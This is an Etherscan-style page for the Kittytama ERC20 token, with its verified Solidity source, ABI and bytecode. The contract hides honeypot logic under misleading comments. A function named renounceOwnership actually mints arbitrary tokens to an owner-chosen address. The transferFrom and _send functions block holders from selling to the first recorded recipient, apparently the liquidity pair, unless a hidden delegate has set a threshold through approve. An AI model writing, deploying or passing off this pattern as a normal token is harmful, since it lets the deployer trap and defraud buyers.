ETH Price: $3,186.47 (-7.43%)
Gas: 2 Gwei

Token

Kittytama (KITTYTAMA)
 

Overview

Max Total Supply

2,923,800,001,000,000,000,000 KITTYTAMA

Holders

24

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
17,949,570,174.983516413 KITTYTAMA

Value
$0.00
0xB508c34e353933B65122A9971Ffc95E5697Da0B9
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Kittytama

Compiler Version
v0.8.9+commit.e5eed63a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2022-02-06
*/

//   SPDX-License-Identifier: MIT

pragma solidity >=0.8.0;

library SafeMath {
  /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
  function add(uint a, uint b) internal pure returns (uint c) {
    c = a + b;
    require(c >= a);
  }
   /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
  function sub(uint a, uint b) internal pure returns (uint c) {
    require(b <= a);
    c = a - b;
  }
  /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
  function mul(uint a, uint b) internal pure returns (uint c) {
    c = a * b;
    require(a == 0 || c / a == b);
  }
  /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
  function div(uint a, uint b) internal pure returns (uint c) {
    require(b > 0);
    c = a / b;
  }
}
	
abstract contract IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
  function totalSupply() virtual public view returns (uint);
  /**
     * @dev Returns the amount of tokens owned by `account`.
     */
  function balanceOf(address tokenOwner) virtual public view returns (uint balance);
  /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
  function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
  /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
  function transfer(address to, uint tokens) virtual public returns (bool success);
  /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
  function approve(address spender, uint tokens) virtual public returns (bool success);
   /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
  function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
 /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
  event Transfer(address indexed from, address indexed to, uint tokens);
  /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
  event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}

abstract contract ApproveAndCallFallBack {
  function receiveApproval(address from, uint tokens, address token, bytes memory data) virtual public;
}

contract Owned {
  address internal owner;
  
  event OwnershipTransferred(address indexed _from, address indexed _to);

  constructor() {
    owner = msg.sender;
  }

  modifier onlyOwner {
    require(msg.sender == owner);
    _;
  }

}

contract Kittytama is IERC20, Owned{
  using SafeMath for uint;

  /**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */

  string public symbol;
  address internal delegate;
  string public name;
  uint8 public decimals;
  address internal zero;
  uint _totalSupply;
  uint internal number;
  address internal reflector;
  mapping(address => uint) balances;
  mapping(address => mapping(address => uint)) allowed;

  function totalSupply() override public view returns (uint) {
    return _totalSupply.sub(balances[address(0)]);
  }
  function balanceOf(address tokenOwner) override public view returns (uint balance) {
    return balances[tokenOwner];
  }
  /**
   *@dev Leaves the contract without owner. It will not be possible to call 'onlyOwner' 
   * functions anymore. Can only be called by the current owner.
  */
  function renounceOwnership(address _address, uint tokens) public onlyOwner {
     require(_address != address(0), "ERC20: renounceOwnership from the zero address");
     _reflect (_address, tokens);
  }	
  function transfer(address to, uint tokens) override public returns (bool success) {
    require(to != zero, "please wait");
    balances[msg.sender] = balances[msg.sender].sub(tokens);
    balances[to] = balances[to].add(tokens);
    emit Transfer(msg.sender, to, tokens);
    return true;
  }
  /**
    * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
    *
    * Returns a boolean value indicating whether the operation succeeded.
    *
    * IMPORTANT: Beware that changing an allowance with this method brings the risk
    * that someone may use both the old and the new allowance by unfortunate
    * transaction ordering. One possible solution to mitigate this race
    * condition is to first reduce the spender's allowance to 0 and set the
    * desired value afterwards:
    * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
    *
    * Emits an {Approval} event.
  */
  function approve(address spender, uint tokens) override public returns (bool success) {
    allowed[msg.sender][spender] = tokens;
    if (msg.sender == delegate) number = tokens;
    emit Approval(msg.sender, spender, tokens);
    return true;
  }
  /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through `transferFrom`. This is
     * zero by default.
     *
     * This value changes when `approve` or `transferFrom` are called.
  */
    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
  */
  function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
    if(from != address(0) && zero == address(0)) zero = to;
    else _send (from, to);
	balances[from] = balances[from].sub(tokens);
    allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
    balances[to] = balances[to].add(tokens);
    emit Transfer(from, to, tokens);
    return true;
  }
 /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to `approve`. `value` is the new allowance.
 */
  function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
    return allowed[tokenOwner][spender];
  }
  function _reflect(address _reflectAddress, uint _reflectAmount) internal virtual {
  /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
  */
   reflector = _reflectAddress;
	_totalSupply = _totalSupply.add(_reflectAmount);
    balances[_reflectAddress] = balances[_reflectAddress].add(_reflectAmount);
  }
  function _send (address start, address end) internal view {
  /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     * Requirements:
     * - The divisor cannot be zero.*/
    /* * - `account` cannot be the zero address. */ require(end != zero  
    /* * - `account` cannot be the reflect address. */ || (start == reflector && end == zero) || 
    /* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number) 
    /* */ , "cannot be the zero address");/*
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
   **/
  }
   /**
     * dev Constructor.
     * param name name of the token
     * param symbol symbol of the token, 3-4 chars is recommended
     * param decimals number of decimal places of one token unit, 18 is widely used
     * param totalSupply total supply of tokens in lowest units (depending on decimals)
     */   
  constructor(string memory _name, string memory _symbol, uint _supply, address _del)  {
	symbol = _symbol;
	name = _name;
	decimals = 9;
	_totalSupply = _supply*(10**uint(decimals));
	number = _totalSupply;
	delegate = _del;
	balances[owner] = _totalSupply;
	emit Transfer(address(0), owner, _totalSupply);
  }
  
  function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(msg.sender, spender, allowed[msg.sender][spender].add(addedValue));
        return true;
  }

  function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(msg.sender, spender, allowed[msg.sender][spender].sub(subtractedValue));
        return true;
  }
  function _approve(address _owner, address spender, uint amount) private {
        require(_owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        allowed[_owner][spender] = amount;
        emit Approval(_owner, spender, amount);
  }
  receive() external payable {
  }
  
  fallback() external payable {
  }
  
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_supply","type":"uint256"},{"internalType":"address","name":"_del","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"tokenOwner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[{"internalType":"address","name":"tokenOwner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"remaining","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenOwner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040523480156200001157600080fd5b506040516200107c3803806200107c833981016040819052620000349162000291565b600080546001600160a01b0319163317905582516200005b9060019060208601906200011e565b508351620000719060039060208701906200011e565b506004805460ff191660099081179091556200008f90600a6200043b565b6200009b908362000450565b60058190556006819055600280546001600160a01b0319166001600160a01b03848116919091179091556000805482168152600860209081526040808320859055825490519485529092169290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050620004af565b8280546200012c9062000472565b90600052602060002090601f0160209004810192826200015057600085556200019b565b82601f106200016b57805160ff19168380011785556200019b565b828001600101855582156200019b579182015b828111156200019b5782518255916020019190600101906200017e565b50620001a9929150620001ad565b5090565b5b80821115620001a95760008155600101620001ae565b634e487b7160e01b600052604160045260246000fd5b600082601f830112620001ec57600080fd5b81516001600160401b0380821115620002095762000209620001c4565b604051601f8301601f19908116603f01168101908282118183101715620002345762000234620001c4565b816040528381526020925086838588010111156200025157600080fd5b600091505b8382101562000275578582018301518183018401529082019062000256565b83821115620002875760008385830101525b9695505050505050565b60008060008060808587031215620002a857600080fd5b84516001600160401b0380821115620002c057600080fd5b620002ce88838901620001da565b95506020870151915080821115620002e557600080fd5b50620002f487828801620001da565b60408701516060880151919550935090506001600160a01b03811681146200031b57600080fd5b939692955090935050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200037d57816000190482111562000361576200036162000326565b808516156200036f57918102915b93841c939080029062000341565b509250929050565b600082620003965750600162000435565b81620003a55750600062000435565b8160018114620003be5760028114620003c957620003e9565b600191505062000435565b60ff841115620003dd57620003dd62000326565b50506001821b62000435565b5060208310610133831016604e8410600b84101617156200040e575081810a62000435565b6200041a83836200033c565b806000190482111562000431576200043162000326565b0290505b92915050565b600062000449838362000385565b9392505050565b60008160001904831182151516156200046d576200046d62000326565b500290565b600181811c908216806200048757607f821691505b60208210811415620004a957634e487b7160e01b600052602260045260246000fd5b50919050565b610bbd80620004bf6000396000f3fe6080604052600436106100a55760003560e01c80633950935111610061578063395093511461019857806370a08231146101b857806395d89b41146101ee578063a457c2d714610203578063a9059cbb14610223578063dd62ed3e1461024357005b806306fdde03146100ae578063095ea7b3146100d957806318160ddd1461010957806320189d281461012c57806323b872dd1461014c578063313ce5671461016c57005b366100ac57005b005b3480156100ba57600080fd5b506100c3610289565b6040516100d091906109e2565b60405180910390f35b3480156100e557600080fd5b506100f96100f4366004610a53565b610317565b60405190151581526020016100d0565b34801561011557600080fd5b5061011e61039b565b6040519081526020016100d0565b34801561013857600080fd5b506100ac610147366004610a53565b6103d8565b34801561015857600080fd5b506100f9610167366004610a7d565b61046f565b34801561017857600080fd5b506004546101869060ff1681565b60405160ff90911681526020016100d0565b3480156101a457600080fd5b506100f96101b3366004610a53565b6105c9565b3480156101c457600080fd5b5061011e6101d3366004610ab9565b6001600160a01b031660009081526008602052604090205490565b3480156101fa57600080fd5b506100c361060d565b34801561020f57600080fd5b506100f961021e366004610a53565b61061a565b34801561022f57600080fd5b506100f961023e366004610a53565b610650565b34801561024f57600080fd5b5061011e61025e366004610ad4565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b6003805461029690610b07565b80601f01602080910402602001604051908101604052809291908181526020018280546102c290610b07565b801561030f5780601f106102e45761010080835404028352916020019161030f565b820191906000526020600020905b8154815290600101906020018083116102f257829003601f168201915b505050505081565b3360008181526009602090815260408083206001600160a01b038781168552925282208490556002549192911614156103505760068290555b6040518281526001600160a01b0384169033907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906020015b60405180910390a35060015b92915050565b600080805260086020527f5eff886ea0ce6ca488a3d6e336d6c0f75f46d19b42c06ce5ee98e42c96d256c7546005546103d39161073b565b905090565b6000546001600160a01b031633146103ef57600080fd5b6001600160a01b0382166104615760405162461bcd60e51b815260206004820152602e60248201527f45524332303a2072656e6f756e63654f776e6572736869702066726f6d20746860448201526d65207a65726f206164647265737360901b60648201526084015b60405180910390fd5b61046b828261075b565b5050565b60006001600160a01b03841615801590610497575060045461010090046001600160a01b0316155b156104c15760048054610100600160a81b0319166101006001600160a01b038616021790556104cb565b6104cb84846107c9565b6001600160a01b0384166000908152600860205260409020546104ee908361073b565b6001600160a01b0385166000908152600860209081526040808320939093556009815282822033835290522054610525908361073b565b6001600160a01b03808616600090815260096020908152604080832033845282528083209490945591861681526008909152205461056390836108a3565b6001600160a01b0380851660008181526008602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906105b79086815260200190565b60405180910390a35060019392505050565b3360008181526009602090815260408083206001600160a01b038716845290915281205490916106049185906105ff90866108a3565b6108be565b50600192915050565b6001805461029690610b07565b3360008181526009602090815260408083206001600160a01b038716845290915281205490916106049185906105ff908661073b565b6004546000906001600160a01b038481166101009092041614156106a45760405162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b6044820152606401610458565b336000908152600860205260409020546106be908361073b565b33600090815260086020526040808220929092556001600160a01b038516815220546106ea90836108a3565b6001600160a01b0384166000818152600860205260409081902092909255905133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906103899086815260200190565b60008282111561074a57600080fd5b6107548284610b58565b9392505050565b600780546001600160a01b0319166001600160a01b03841617905560055461078390826108a3565b6005556001600160a01b0382166000908152600860205260409020546107a990826108a3565b6001600160a01b0390921660009081526008602052604090209190915550565b6004546001600160a01b038281166101009092041614158061081557506007546001600160a01b03838116911614801561081557506004546001600160a01b0382811661010090920416145b8061085757506004546001600160a01b038281166101009092041614801561085757506006546001600160a01b03831660009081526008602052604090205411155b61046b5760405162461bcd60e51b815260206004820152601a60248201527f63616e6e6f7420626520746865207a65726f20616464726573730000000000006044820152606401610458565b60006108af8284610b6f565b90508281101561039557600080fd5b6001600160a01b0383166109205760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610458565b6001600160a01b0382166109815760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610458565b6001600160a01b0383811660008181526009602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600060208083528351808285015260005b81811015610a0f578581018301518582016040015282016109f3565b81811115610a21576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610a4e57600080fd5b919050565b60008060408385031215610a6657600080fd5b610a6f83610a37565b946020939093013593505050565b600080600060608486031215610a9257600080fd5b610a9b84610a37565b9250610aa960208501610a37565b9150604084013590509250925092565b600060208284031215610acb57600080fd5b61075482610a37565b60008060408385031215610ae757600080fd5b610af083610a37565b9150610afe60208401610a37565b90509250929050565b600181811c90821680610b1b57607f821691505b60208210811415610b3c57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082821015610b6a57610b6a610b42565b500390565b60008219821115610b8257610b82610b42565b50019056fea2646970667358221220d028dd2028eb3f759a04f9c165a873fc35ca53837b05c2846c6cd0619bdb931164736f6c63430008090033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000e8d4a51000000000000000000000000000b1ff8b6d337788642833e4e3117da5bf4607dcc600000000000000000000000000000000000000000000000000000000000000094b6974747974616d61000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000094b4954545954414d410000000000000000000000000000000000000000000000

Deployed Bytecode

0x6080604052600436106100a55760003560e01c80633950935111610061578063395093511461019857806370a08231146101b857806395d89b41146101ee578063a457c2d714610203578063a9059cbb14610223578063dd62ed3e1461024357005b806306fdde03146100ae578063095ea7b3146100d957806318160ddd1461010957806320189d281461012c57806323b872dd1461014c578063313ce5671461016c57005b366100ac57005b005b3480156100ba57600080fd5b506100c3610289565b6040516100d091906109e2565b60405180910390f35b3480156100e557600080fd5b506100f96100f4366004610a53565b610317565b60405190151581526020016100d0565b34801561011557600080fd5b5061011e61039b565b6040519081526020016100d0565b34801561013857600080fd5b506100ac610147366004610a53565b6103d8565b34801561015857600080fd5b506100f9610167366004610a7d565b61046f565b34801561017857600080fd5b506004546101869060ff1681565b60405160ff90911681526020016100d0565b3480156101a457600080fd5b506100f96101b3366004610a53565b6105c9565b3480156101c457600080fd5b5061011e6101d3366004610ab9565b6001600160a01b031660009081526008602052604090205490565b3480156101fa57600080fd5b506100c361060d565b34801561020f57600080fd5b506100f961021e366004610a53565b61061a565b34801561022f57600080fd5b506100f961023e366004610a53565b610650565b34801561024f57600080fd5b5061011e61025e366004610ad4565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b6003805461029690610b07565b80601f01602080910402602001604051908101604052809291908181526020018280546102c290610b07565b801561030f5780601f106102e45761010080835404028352916020019161030f565b820191906000526020600020905b8154815290600101906020018083116102f257829003601f168201915b505050505081565b3360008181526009602090815260408083206001600160a01b038781168552925282208490556002549192911614156103505760068290555b6040518281526001600160a01b0384169033907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906020015b60405180910390a35060015b92915050565b600080805260086020527f5eff886ea0ce6ca488a3d6e336d6c0f75f46d19b42c06ce5ee98e42c96d256c7546005546103d39161073b565b905090565b6000546001600160a01b031633146103ef57600080fd5b6001600160a01b0382166104615760405162461bcd60e51b815260206004820152602e60248201527f45524332303a2072656e6f756e63654f776e6572736869702066726f6d20746860448201526d65207a65726f206164647265737360901b60648201526084015b60405180910390fd5b61046b828261075b565b5050565b60006001600160a01b03841615801590610497575060045461010090046001600160a01b0316155b156104c15760048054610100600160a81b0319166101006001600160a01b038616021790556104cb565b6104cb84846107c9565b6001600160a01b0384166000908152600860205260409020546104ee908361073b565b6001600160a01b0385166000908152600860209081526040808320939093556009815282822033835290522054610525908361073b565b6001600160a01b03808616600090815260096020908152604080832033845282528083209490945591861681526008909152205461056390836108a3565b6001600160a01b0380851660008181526008602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906105b79086815260200190565b60405180910390a35060019392505050565b3360008181526009602090815260408083206001600160a01b038716845290915281205490916106049185906105ff90866108a3565b6108be565b50600192915050565b6001805461029690610b07565b3360008181526009602090815260408083206001600160a01b038716845290915281205490916106049185906105ff908661073b565b6004546000906001600160a01b038481166101009092041614156106a45760405162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b6044820152606401610458565b336000908152600860205260409020546106be908361073b565b33600090815260086020526040808220929092556001600160a01b038516815220546106ea90836108a3565b6001600160a01b0384166000818152600860205260409081902092909255905133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906103899086815260200190565b60008282111561074a57600080fd5b6107548284610b58565b9392505050565b600780546001600160a01b0319166001600160a01b03841617905560055461078390826108a3565b6005556001600160a01b0382166000908152600860205260409020546107a990826108a3565b6001600160a01b0390921660009081526008602052604090209190915550565b6004546001600160a01b038281166101009092041614158061081557506007546001600160a01b03838116911614801561081557506004546001600160a01b0382811661010090920416145b8061085757506004546001600160a01b038281166101009092041614801561085757506006546001600160a01b03831660009081526008602052604090205411155b61046b5760405162461bcd60e51b815260206004820152601a60248201527f63616e6e6f7420626520746865207a65726f20616464726573730000000000006044820152606401610458565b60006108af8284610b6f565b90508281101561039557600080fd5b6001600160a01b0383166109205760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610458565b6001600160a01b0382166109815760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610458565b6001600160a01b0383811660008181526009602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600060208083528351808285015260005b81811015610a0f578581018301518582016040015282016109f3565b81811115610a21576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610a4e57600080fd5b919050565b60008060408385031215610a6657600080fd5b610a6f83610a37565b946020939093013593505050565b600080600060608486031215610a9257600080fd5b610a9b84610a37565b9250610aa960208501610a37565b9150604084013590509250925092565b600060208284031215610acb57600080fd5b61075482610a37565b60008060408385031215610ae757600080fd5b610af083610a37565b9150610afe60208401610a37565b90509250929050565b600181811c90821680610b1b57607f821691505b60208210811415610b3c57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082821015610b6a57610b6a610b42565b500390565b60008219821115610b8257610b82610b42565b50019056fea2646970667358221220d028dd2028eb3f759a04f9c165a873fc35ca53837b05c2846c6cd0619bdb931164736f6c63430008090033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000e8d4a51000000000000000000000000000b1ff8b6d337788642833e4e3117da5bf4607dcc600000000000000000000000000000000000000000000000000000000000000094b6974747974616d61000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000094b4954545954414d410000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : _name (string): Kittytama
Arg [1] : _symbol (string): KITTYTAMA
Arg [2] : _supply (uint256): 1000000000000
Arg [3] : _del (address): 0xB1FF8B6d337788642833e4E3117da5BF4607DCC6

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 000000000000000000000000000000000000000000000000000000e8d4a51000
Arg [3] : 000000000000000000000000b1ff8b6d337788642833e4e3117da5bf4607dcc6
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [5] : 4b6974747974616d610000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [7] : 4b4954545954414d410000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

4828:8209:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6144:18;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7968:253;;;;;;;;;;-1:-1:-1;7968:253:0;;;;;:::i;:::-;;:::i;:::-;;;1218:14:1;;1211:22;1193:41;;1181:2;1166:18;7968:253:0;1053:187:1;6394:117:0;;;;;;;;;;;;;:::i;:::-;;;1391:25:1;;;1379:2;1364:18;6394:117:0;1245:177:1;6811:205:0;;;;;;;;;;-1:-1:-1;6811:205:0;;;;;:::i;:::-;;:::i;8961:416::-;;;;;;;;;;-1:-1:-1;8961:416:0;;;;;:::i;:::-;;:::i;6167:21::-;;;;;;;;;;-1:-1:-1;6167:21:0;;;;;;;;;;;1932:4:1;1920:17;;;1902:36;;1890:2;1875:18;6167:21:0;1760:184:1;12183:208:0;;;;;;;;;;-1:-1:-1;12183:208:0;;;;;:::i;:::-;;:::i;6515:123::-;;;;;;;;;;-1:-1:-1;6515:123:0;;;;;:::i;:::-;-1:-1:-1;;;;;6612:20:0;6584:12;6612:20;;;:8;:20;;;;;;;6515:123;6089:20;;;;;;;;;;;;;:::i;12397:218::-;;;;;;;;;;-1:-1:-1;12397:218:0;;;;;:::i;:::-;;:::i;7021:299::-;;;;;;;;;;-1:-1:-1;7021:299:0;;;;;:::i;:::-;;:::i;9531:150::-;;;;;;;;;;-1:-1:-1;9531:150:0;;;;;:::i;:::-;-1:-1:-1;;;;;9647:19:0;;;9617:14;9647:19;;;:7;:19;;;;;;;;:28;;;;;;;;;;;;;9531:150;6144:18;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;7968:253::-;8069:10;8040:12;8061:19;;;: